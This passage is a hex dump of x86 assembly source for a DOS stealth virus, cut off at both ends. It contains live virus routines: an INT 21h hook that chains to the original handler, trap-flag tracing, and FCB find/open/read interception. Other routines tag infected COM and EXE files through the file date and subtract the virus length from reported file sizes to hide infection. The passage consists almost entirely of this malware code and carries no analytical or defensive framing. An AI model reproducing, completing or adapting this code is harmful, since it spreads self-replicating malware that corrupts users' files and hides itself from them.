|00004550| 76 20 20 20 20 20 62 79 | 74 65 20 70 74 72 20 63 |v     by|te ptr c|
|00004560| 73 3a 69 6e 73 74 72 75 | 63 74 69 6f 6e 73 74 6f |s:instru|ctionsto|
|00004570| 74 72 61 63 65 2c 34 20 | 3b 20 74 72 61 63 65 20 |trace,4 |; trace |
|00004580| 69 6e 74 6f 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |into..  |        |
|00004590| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 79 |      mo|v     by|
|000045a0| 74 65 20 70 74 72 20 63 | 73 3a 74 72 61 63 65 6d |te ptr c|s:tracem|
|000045b0| 6f 64 65 2c 31 20 20 20 | 20 20 20 20 20 20 20 20 |ode,1   |        |
|000045c0| 3b 20 6f 6c 64 69 6e 74 | 32 31 0d 0a 20 20 20 20 |; oldint|21..    |
|000045d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c |        |    call|
|000045e0| 20 20 20 20 72 65 70 6c | 61 63 65 69 6e 74 31 20 |    repl|aceint1 |
|000045f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 73 65 |        |    ; se|
|00004600| 74 20 76 69 72 75 73 20 | 69 6e 74 20 31 20 68 61 |t virus |int 1 ha|
|00004610| 6e 64 6c 65 72 0d 0a 20 | 20 20 20 20 20 20 20 20 |ndler.. |        |
|00004620| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 5f |       c|all    _|
|00004630| 70 6f 70 61 6c 6c 0d 0a | 20 20 20 20 20 20 20 20 |popall..|        |
|00004640| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|00004650| 61 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax..    |        |
|00004660| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 63 |    mov |    ax,c|
|00004670| 73 3a 69 6e 74 32 31 66 | 6c 61 67 73 20 20 20 20 |s:int21f|lags    |
|00004680| 20 20 20 20 3b 20 67 65 | 74 20 74 68 65 20 66 6c |    ; ge|t the fl|
|00004690| 61 67 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ags..   |        |
|000046a0| 20 20 20 20 20 6f 72 20 | 20 20 20 20 20 61 78 2c |     or |     ax,|
|000046b0| 31 30 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |100h    |        |
|000046c0| 20 20 20 20 20 3b 20 74 | 75 72 6e 20 6f 6e 20 74 |     ; t|urn on t|
|000046d0| 68 65 20 74 72 61 70 20 | 66 6c 61 67 0d 0a 20 20 |he trap |flag..  |
|000046e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 |        |      pu|
|000046f0| 73 68 20 20 20 20 61 78 | 20 20 20 20 20 20 20 20 |sh    ax|        |
|00004700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|00004710| 61 6e 64 20 73 65 74 20 | 69 74 20 69 6e 20 6d 6f |and set |it in mo|
|00004720| 74 69 6f 6e 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |tion..  |        |
|00004730| 20 20 20 20 20 20 70 6f | 70 66 0d 0a 20 20 20 20 |      po|pf..    |
|00004740| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |        |    pop |
|00004750| 20 20 20 20 61 78 0d 0a | 20 20 20 20 20 20 20 20 |    ax..|        |
|00004760| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|00004770| 62 70 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |bp..    |        |
|00004780| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 64 77 6f 72 |    jmp |    dwor|
|00004790| 64 20 70 74 72 20 63 73 | 3a 6f 6c 64 69 6e 74 32 |d ptr cs|:oldint2|
|000047a0| 31 20 20 20 3b 20 63 68 | 61 69 6e 20 62 61 63 6b |1   ; ch|ain back|
|000047b0| 20 74 6f 20 6f 72 69 67 | 69 6e 61 6c 20 69 6e 74 | to orig|inal int|
|000047c0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000047d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000047e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000047f0| 20 20 3b 20 32 31 68 20 | 68 61 6e 64 6c 65 72 20 |  ; 21h |handler |
|00004800| 2d 2d 20 64 6f 20 6e 6f | 74 20 72 65 74 75 72 6e |-- do no|t return|
|00004810| 0d 0a 0d 0a 65 78 69 74 | 69 6e 74 32 31 3a 0d 0a |....exit|int21:..|
|00004820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004830| 63 61 6c 6c 20 20 20 20 | 73 61 76 65 72 65 67 73 |call    |saveregs|
|00004840| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004850| 20 20 63 61 6c 6c 20 20 | 20 20 72 65 73 74 6f 72 |  call  |  restor|
|00004860| 65 42 52 45 41 4b 0d 0a | 20 20 20 20 20 20 20 20 |eBREAK..|        |
|00004870| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 |        |call    |
|00004880| 73 77 61 70 76 69 72 69 | 6e 74 32 31 0d 0a 20 20 |swapviri|nt21..  |
|00004890| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|000048a0| 6c 6c 20 20 20 20 72 65 | 73 74 6f 72 65 72 65 67 |ll    re|storereg|
|000048b0| 73 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..     |        |
|000048c0| 20 20 20 70 6f 70 20 20 | 20 20 20 62 70 0d 0a 20 |   pop  |   bp.. |
|000048d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|000048e0| 75 73 68 20 20 20 20 62 | 70 20 20 20 20 20 20 20 |ush    b|p       |
|000048f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00004900| 20 73 65 74 20 75 70 20 | 73 74 61 63 6b 20 66 72 | set up |stack fr|
|00004910| 61 6d 65 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ame..   |        |
|00004920| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 62 70 2c |     mov|     bp,|
|00004930| 73 70 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |sp..    |        |
|00004940| 20 20 20 20 70 75 73 68 | 20 20 20 20 77 6f 72 64 |    push|    word|
|00004950| 20 70 74 72 20 63 73 3a | 69 6e 74 32 31 66 6c 61 | ptr cs:|int21fla|
|00004960| 67 73 20 20 3b 20 67 65 | 74 20 74 68 65 20 66 6c |gs  ; ge|t the fl|
|00004970| 61 67 73 20 61 6e 64 20 | 70 75 74 0d 0a 20 20 20 |ags and |put..   |
|00004980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 |        |     pop|
|00004990| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 62 |     wor|d ptr [b|
|000049a0| 70 2b 36 5d 20 20 20 20 | 20 20 20 20 20 3b 20 74 |p+6]    |     ; t|
|000049b0| 68 65 6d 20 6f 6e 20 74 | 68 65 20 73 74 61 63 6b |hem on t|he stack|
|000049c0| 20 66 6f 72 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | for..  |        |
|000049d0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 62 70 |      po|p     bp|
|000049e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000049f0| 20 20 20 20 20 20 3b 20 | 74 68 65 20 69 72 65 74 |      ; |the iret|
|00004a00| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004a10| 20 20 69 72 65 74 0d 0a | 0d 0a 46 43 42 66 69 6e |  iret..|..FCBfin|
|00004a20| 64 66 69 72 73 74 6e 65 | 78 74 3a 0d 0a 20 20 20 |dfirstne|xt:..   |
|00004a30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c |        |     cal|
|00004a40| 6c 20 20 20 20 5f 70 6f | 70 61 6c 6c 0d 0a 20 20 |l    _po|pall..  |
|00004a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00004a60| 6c 6c 20 20 20 20 63 61 | 6c 6c 69 6e 74 32 31 0d |ll    ca|llint21.|
|00004a70| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004a80| 20 6f 72 20 20 20 20 20 | 20 61 6c 2c 61 6c 20 20 | or     | al,al  |
|00004a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004aa0| 20 3b 20 46 6f 75 6e 64 | 20 61 6e 79 20 66 69 6c | ; Found| any fil|
|00004ab0| 65 73 3f 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |es?..   |        |
|00004ac0| 20 20 20 20 20 6a 6e 7a | 20 20 20 20 20 65 78 69 |     jnz|     exi|
|00004ad0| 74 69 6e 74 32 31 20 20 | 20 20 20 20 20 20 20 20 |tint21  |        |
|00004ae0| 20 20 20 20 20 3b 20 67 | 75 65 73 73 20 6e 6f 74 |     ; g|uess not|
|00004af0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004b00| 20 20 63 61 6c 6c 20 20 | 20 20 5f 70 75 73 68 61 |  call  |  _pusha|
|00004b10| 6c 6c 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ll..    |        |
|00004b20| 20 20 20 20 63 61 6c 6c | 20 20 20 20 67 65 74 64 |    call|    getd|
|00004b30| 69 73 6b 74 72 61 6e 73 | 66 65 72 61 64 64 72 65 |isktrans|feraddre|
|00004b40| 73 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ss..    |        |
|00004b50| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 6c 2c 30 |    mov |    al,0|
|00004b60| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004b70| 20 20 63 6d 70 20 20 20 | 20 20 62 79 74 65 20 70 |  cmp   |  byte p|
|00004b80| 74 72 20 5b 62 78 5d 2c | 30 46 46 68 20 20 20 20 |tr [bx],|0FFh    |
|00004b90| 20 20 3b 20 45 78 74 65 | 6e 64 65 64 20 46 43 42 |  ; Exte|nded FCB|
|00004ba0| 3f 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |?..     |        |
|00004bb0| 20 20 20 6a 6e 65 20 20 | 20 20 20 66 69 6e 64 66 |   jne  |   findf|
|00004bc0| 69 72 73 74 6e 65 78 74 | 6e 6f 65 78 74 65 6e 64 |irstnext|noextend|
|00004bd0| 65 64 46 43 42 0d 0a 20 | 20 20 20 20 20 20 20 20 |edFCB.. |        |
|00004be0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|00004bf0| 6c 2c 5b 62 78 2b 36 5d | 0d 0a 20 20 20 20 20 20 |l,[bx+6]|..      |
|00004c00| 20 20 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 |        |  add   |
|00004c10| 20 20 62 78 2c 37 20 20 | 20 20 20 20 20 20 20 20 |  bx,7  |        |
|00004c20| 20 20 20 20 20 20 20 20 | 20 20 3b 20 63 6f 6e 76 |        |  ; conv|
|00004c30| 65 72 74 20 74 6f 20 6e | 6f 72 6d 61 6c 20 46 43 |ert to n|ormal FC|
|00004c40| 42 0d 0a 66 69 6e 64 66 | 69 72 73 74 6e 65 78 74 |B..findf|irstnext|
|00004c50| 6e 6f 65 78 74 65 6e 64 | 65 64 46 43 42 3a 0d 0a |noextend|edFCB:..|
|00004c60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004c70| 61 6e 64 20 20 20 20 20 | 63 73 3a 68 69 64 65 5f |and     |cs:hide_|
|00004c80| 73 69 7a 65 2c 61 6c 0d | 0a 20 20 20 20 20 20 20 |size,al.|.       |
|00004c90| 20 20 20 20 20 20 20 20 | 20 74 65 73 74 20 20 20 |        | test   |
|00004ca0| 20 62 79 74 65 20 70 74 | 72 20 5b 62 78 2b 31 41 | byte pt|r [bx+1A|
|00004cb0| 68 5d 2c 38 30 68 20 20 | 20 3b 20 63 68 65 63 6b |h],80h  | ; check|
|00004cc0| 20 79 65 61 72 20 62 69 | 74 20 66 6f 72 20 76 69 | year bi|t for vi|
|00004cd0| 72 75 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |rus..   |        |
|00004ce0| 20 20 20 20 20 6a 7a 20 | 20 20 20 20 20 5f 70 6f |     jz |     _po|
|00004cf0| 70 61 6c 6c 5f 74 68 65 | 6e 5f 65 78 69 74 69 6e |pall_the|n_exitin|
|00004d00| 74 32 31 20 20 3b 20 69 | 6e 66 65 63 74 69 6f 6e |t21  ; i|nfection|
|00004d10| 20 74 61 67 2e 20 65 78 | 69 74 20 69 66 20 73 6f | tag. ex|it if so|
|00004d20| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004d30| 20 20 73 75 62 20 20 20 | 20 20 62 79 74 65 20 70 |  sub   |  byte p|
|00004d40| 74 72 20 5b 62 78 2b 31 | 41 68 5d 2c 30 43 38 68 |tr [bx+1|Ah],0C8h|
|00004d50| 20 20 3b 20 61 6c 74 65 | 72 20 66 69 6c 65 20 64 |  ; alte|r file d|
|00004d60| 61 74 65 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ate..   |        |
|00004d70| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 62 79 74 |     cmp|     byt|
|00004d80| 65 20 70 74 72 20 63 73 | 3a 68 69 64 65 5f 73 69 |e ptr cs|:hide_si|
|00004d90| 7a 65 2c 30 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ze,0..  |        |
|00004da0| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 5f 70 |      jn|e     _p|
|00004db0| 6f 70 61 6c 6c 5f 74 68 | 65 6e 5f 65 78 69 74 69 |opall_th|en_exiti|
|00004dc0| 6e 74 32 31 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |nt21..  |        |
|00004dd0| 20 20 20 20 20 20 73 75 | 62 20 20 20 20 20 77 6f |      su|b     wo|
|00004de0| 72 64 20 70 74 72 20 5b | 62 78 2b 31 44 68 5d 2c |rd ptr [|bx+1Dh],|
|00004df0| 31 30 30 30 68 20 3b 20 | 68 69 64 65 20 66 69 6c |1000h ; |hide fil|
|00004e00| 65 20 73 69 7a 65 0d 0a | 20 20 20 20 20 20 20 20 |e size..|        |
|00004e10| 20 20 20 20 20 20 20 20 | 73 62 62 20 20 20 20 20 |        |sbb     |
|00004e20| 77 6f 72 64 20 70 74 72 | 20 5b 62 78 2b 31 46 68 |word ptr| [bx+1Fh|
|00004e30| 5d 2c 30 0d 0a 5f 70 6f | 70 61 6c 6c 5f 74 68 65 |],0.._po|pall_the|
|00004e40| 6e 5f 65 78 69 74 69 6e | 74 32 31 3a 0d 0a 20 20 |n_exitin|t21:..  |
|00004e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00004e60| 6c 6c 20 20 20 20 5f 70 | 6f 70 61 6c 6c 0d 0a 20 |ll    _p|opall.. |
|00004e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00004e80| 6d 70 20 20 20 20 20 73 | 68 6f 72 74 20 65 78 69 |mp     s|hort exi|
|00004e90| 74 69 6e 74 32 31 0d 0a | 0d 0a 46 43 42 6f 70 65 |tint21..|..FCBope|
|00004ea0| 6e 66 69 6c 65 3a 0d 0a | 20 20 20 20 20 20 20 20 |nfile:..|        |
|00004eb0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 |        |call    |
|00004ec0| 5f 70 6f 70 61 6c 6c 0d | 0a 20 20 20 20 20 20 20 |_popall.|.       |
|00004ed0| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |        | call   |
|00004ee0| 20 63 61 6c 6c 69 6e 74 | 32 31 20 20 20 20 20 20 | callint|21      |
|00004ef0| 20 20 20 20 20 20 20 20 | 20 3b 20 63 68 61 69 6e |        | ; chain|
|00004f00| 20 74 6f 20 6f 72 69 67 | 69 6e 61 6c 20 69 6e 74 | to orig|inal int|
|00004f10| 20 32 31 68 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | 21h..  |        |
|00004f20| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 5f 70 |      ca|ll    _p|
|00004f30| 75 73 68 61 6c 6c 0d 0a | 20 20 20 20 20 20 20 20 |ushall..|        |
|00004f40| 20 20 20 20 20 20 20 20 | 6f 72 20 20 20 20 20 20 |        |or      |
|00004f50| 61 6c 2c 61 6c 20 20 20 | 20 20 20 20 20 20 20 20 |al,al   |        |
|00004f60| 20 20 20 20 20 20 20 20 | 3b 20 30 20 3d 20 73 75 |        |; 0 = su|
|00004f70| 63 63 65 73 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |ccess.. |        |
|00004f80| 20 20 20 20 20 20 20 6a | 6e 7a 20 20 20 20 20 5f |       j|nz     _|
|00004f90| 70 6f 70 61 6c 6c 5f 74 | 68 65 6e 5f 65 78 69 74 |popall_t|hen_exit|
|00004fa0| 69 6e 74 32 31 0d 0a 20 | 20 20 20 20 20 20 20 20 |int21.. |        |
|00004fb0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 62 |       m|ov     b|
|00004fc0| 78 2c 64 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |x,dx..  |        |
|00004fd0| 20 20 20 20 20 20 74 65 | 73 74 20 20 20 20 62 79 |      te|st    by|
|00004fe0| 74 65 20 70 74 72 20 5b | 62 78 2b 31 35 68 5d 2c |te ptr [|bx+15h],|
|00004ff0| 38 30 68 20 20 20 3b 20 | 63 68 65 63 6b 20 69 66 |80h   ; |check if|
|00005000| 20 69 6e 66 65 63 74 65 | 64 20 79 65 74 0d 0a 20 | infecte|d yet.. |
|00005010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00005020| 7a 20 20 20 20 20 20 5f | 70 6f 70 61 6c 6c 5f 74 |z      _|popall_t|
|00005030| 68 65 6e 5f 65 78 69 74 | 69 6e 74 32 31 0d 0a 20 |hen_exit|int21.. |
|00005040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 |        |       s|
|00005050| 75 62 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |ub     b|yte ptr |
|00005060| 5b 62 78 2b 31 35 68 5d | 2c 30 43 38 68 20 20 3b |[bx+15h]|,0C8h  ;|
|00005070| 20 72 65 73 74 6f 72 65 | 20 64 61 74 65 0d 0a 20 | restore| date.. |
|00005080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 |        |       s|
|00005090| 75 62 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ub     w|ord ptr |
|000050a0| 5b 62 78 2b 31 30 68 5d | 2c 31 30 30 30 68 20 3b |[bx+10h]|,1000h ;|
|000050b0| 20 61 6e 64 20 68 69 64 | 65 20 66 69 6c 65 20 73 | and hid|e file s|
|000050c0| 69 7a 65 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ize..   |        |
|000050d0| 20 20 20 20 20 73 62 62 | 20 20 20 20 20 62 79 74 |     sbb|     byt|
|000050e0| 65 20 70 74 72 20 5b 62 | 78 2b 31 32 68 5d 2c 30 |e ptr [b|x+12h],0|
|000050f0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005100| 20 20 6a 6d 70 20 20 20 | 20 20 73 68 6f 72 74 20 |  jmp   |  short |
|00005110| 5f 70 6f 70 61 6c 6c 5f | 74 68 65 6e 5f 65 78 69 |_popall_|then_exi|
|00005120| 74 69 6e 74 32 31 0d 0a | 0d 0a 72 61 6e 64 6f 6d |tint21..|..random|
|00005130| 46 43 42 62 6c 6f 63 6b | 72 65 61 64 3a 0d 0a 20 |FCBblock|read:.. |
|00005140| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00005150| 63 78 7a 20 20 20 20 67 | 6f 5f 65 78 69 74 6f 74 |cxz    g|o_exitot|
|00005160| 68 65 72 69 6e 74 32 31 | 20 20 20 20 20 20 20 3b |herint21|       ;|
|00005170| 20 72 65 61 64 69 6e 67 | 20 61 6e 79 20 62 6c 6f | reading| any blo|
|00005180| 63 6b 73 3f 0d 0a 0d 0a | 72 61 6e 64 6f 6d 46 43 |cks?....|randomFC|
|00005190| 42 72 65 61 64 3a 0d 0a | 20 20 20 20 20 20 20 20 |Bread:..|        |
|000051a0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000051b0| 62 78 2c 64 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |bx,dx.. |        |
|000051c0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 73 |       m|ov     s|
|000051d0| 69 2c 5b 62 78 2b 32 31 | 68 5d 20 20 20 20 20 20 |i,[bx+21|h]      |
|000051e0| 20 20 20 20 20 20 20 3b | 20 63 68 65 63 6b 20 69 |       ;| check i|
|000051f0| 66 20 72 65 61 64 69 6e | 67 20 66 69 72 73 74 0d |f readin|g first.|
|00005200| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00005210| 20 6f 72 20 20 20 20 20 | 20 73 69 2c 5b 62 78 2b | or     | si,[bx+|
|00005220| 32 33 68 5d 20 20 20 20 | 20 20 20 20 20 20 20 20 |23h]    |        |
|00005230| 20 3b 20 62 79 74 65 73 | 0d 0a 20 20 20 20 20 20 | ; bytes|..      |
|00005240| 20 20 20 20 20 20 20 20 | 20 20 6a 6e 7a 20 20 20 |        |  jnz   |
|00005250| 20 20 67 6f 5f 65 78 69 | 74 6f 74 68 65 72 69 6e |  go_exi|totherin|
|00005260| 74 32 31 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |t21..   |        |
|00005270| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 73 68 6f |     jmp|     sho|
|00005280| 72 74 20 63 6f 6e 74 69 | 6e 75 65 46 43 42 72 65 |rt conti|nueFCBre|
|00005290| 61 64 0d 0a 0d 0a 73 65 | 71 75 65 6e 74 69 61 6c |ad....se|quential|
|000052a0| 46 43 42 72 65 61 64 3a | 0d 0a 20 20 20 20 20 20 |FCBread:|..      |
|000052b0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|000052c0| 20 20 62 78 2c 64 78 0d | 0a 20 20 20 20 20 20 20 |  bx,dx.|.       |
|000052d0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|000052e0| 20 61 78 2c 5b 62 78 2b | 30 43 68 5d 20 20 20 20 | ax,[bx+|0Ch]    |
|000052f0| 20 20 20 20 20 20 20 20 | 20 3b 20 63 68 65 63 6b |        | ; check|
|00005300| 20 69 66 20 72 65 61 64 | 69 6e 67 20 66 69 72 73 | if read|ing firs|
|00005310| 74 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t..     |        |
|00005320| 20 20 20 6f 72 20 20 20 | 20 20 20 61 6c 2c 5b 62 |   or   |   al,[b|
|00005330| 78 2b 32 30 68 5d 20 20 | 20 20 20 20 20 20 20 20 |x+20h]  |        |
|00005340| 20 20 20 3b 20 62 79 74 | 65 73 0d 0a 20 20 20 20 |   ; byt|es..    |
|00005350| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6e 7a 20 |        |    jnz |
|00005360| 20 20 20 20 67 6f 5f 65 | 78 69 74 6f 74 68 65 72 |    go_e|xitother|
|00005370| 69 6e 74 32 31 0d 0a 63 | 6f 6e 74 69 6e 75 65 46 |int21..c|ontinueF|
|00005380| 43 42 72 65 61 64 3a 0d | 0a 20 20 20 20 20 20 20 |CBread:.|.       |
|00005390| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |        | call   |
|000053a0| 20 63 68 65 63 6b 46 43 | 42 6f 6b 69 6e 66 65 63 | checkFC|Bokinfec|
|000053b0| 74 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t..     |        |
|000053c0| 20 20 20 6a 6e 63 20 20 | 20 20 20 63 6f 6e 74 69 |   jnc  |   conti|
|000053d0| 6e 75 65 63 6f 6e 74 69 | 6e 75 65 46 43 42 72 65 |nueconti|nueFCBre|
|000053e0| 61 64 0d 0a 67 6f 5f 65 | 78 69 74 6f 74 68 65 72 |ad..go_e|xitother|
|000053f0| 69 6e 74 32 31 3a 0d 0a | 20 20 20 20 20 20 20 20 |int21:..|        |
|00005400| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 20 20 20 20 |        |jmp     |
|00005410| 65 78 69 74 6f 74 68 65 | 72 69 6e 74 32 31 0d 0a |exitothe|rint21..|
|00005420| 63 6f 6e 74 69 6e 75 65 | 63 6f 6e 74 69 6e 75 65 |continue|continue|
|00005430| 46 43 42 72 65 61 64 3a | 0d 0a 20 20 20 20 20 20 |FCBread:|..      |
|00005440| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |        |  call  |
|00005450| 20 20 5f 70 6f 70 61 6c | 6c 0d 0a 20 20 20 20 20 |  _popal|l..     |
|00005460| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |        |   call |
|00005470| 20 20 20 5f 70 75 73 68 | 61 6c 6c 0d 0a 20 20 20 |   _push|all..   |
|00005480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c |        |     cal|
|00005490| 6c 20 20 20 20 63 61 6c | 6c 69 6e 74 32 31 20 20 |l    cal|lint21  |
|000054a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 63 |        |     ; c|
|000054b0| 68 61 69 6e 20 74 6f 20 | 6f 72 69 67 69 6e 61 6c |hain to |original|
|000054c0| 20 68 61 6e 64 6c 65 72 | 0d 0a 20 20 20 20 20 20 | handler|..      |
|000054d0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|000054e0| 20 20 5b 62 70 2d 34 5d | 2c 61 78 20 20 20 20 20 |  [bp-4]|,ax     |
|000054f0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 73 65 74 20 |        |  ; set |
|00005500| 74 68 65 20 72 65 74 75 | 72 6e 20 63 6f 64 65 73 |the retu|rn codes|
|00005510| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005520| 20 20 6d 6f 76 20 20 20 | 20 20 5b 62 70 2d 38 5d |  mov   |  [bp-8]|
|00005530| 2c 63 78 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,cx     |        |
|00005540| 20 20 3b 20 70 72 6f 70 | 65 72 6c 79 0d 0a 20 20 |  ; prop|erly..  |
|00005550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 |        |      pu|
|00005560| 73 68 20 20 20 20 64 73 | 20 20 20 20 20 20 20 20 |sh    ds|        |
|00005570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|00005580| 73 61 76 65 20 46 43 42 | 20 70 6f 69 6e 74 65 72 |save FCB| pointer|
|00005590| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000055a0| 20 20 70 75 73 68 20 20 | 20 20 64 78 0d 0a 20 20 |  push  |  dx..  |
|000055b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|000055c0| 6c 6c 20 20 20 20 67 65 | 74 64 69 73 6b 74 72 61 |ll    ge|tdisktra|
|000055d0| 6e 73 66 65 72 61 64 64 | 72 65 73 73 0d 0a 20 20 |nsferadd|ress..  |
|000055e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 6d |        |      cm|
|000055f0| 70 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 5b |p     wo|rd ptr [|
|00005600| 62 78 2b 31 34 68 5d 2c | 31 20 20 20 20 20 3b 20 |bx+14h],|1     ; |
|00005610| 63 68 65 63 6b 20 66 6f | 72 20 45 58 45 20 69 6e |check fo|r EXE in|
|00005620| 66 65 63 74 69 6f 6e 0d | 0a 20 20 20 20 20 20 20 |fection.|.       |
|00005630| 20 20 20 20 20 20 20 20 | 20 6a 65 20 20 20 20 20 |        | je     |
|00005640| 20 46 43 42 72 65 61 64 | 69 6e 66 65 63 74 65 64 | FCBread|infected|
|00005650| 66 69 6c 65 20 20 20 20 | 20 3b 20 28 49 50 20 3d |file    | ; (IP =|
|00005660| 20 31 29 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | 1)..   |        |
|00005670| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00005680| 5b 62 78 5d 20 20 20 20 | 20 20 20 20 20 20 20 20 |[bx]    |        |
|00005690| 20 20 20 20 20 3b 20 63 | 68 65 63 6b 20 66 6f 72 |     ; c|heck for|
|000056a0| 20 43 4f 4d 20 69 6e 66 | 65 63 74 69 6f 6e 0d 0a | COM inf|ection..|
|000056b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000056c0| 61 64 64 20 20 20 20 20 | 61 78 2c 5b 62 78 2b 32 |add     |ax,[bx+2|
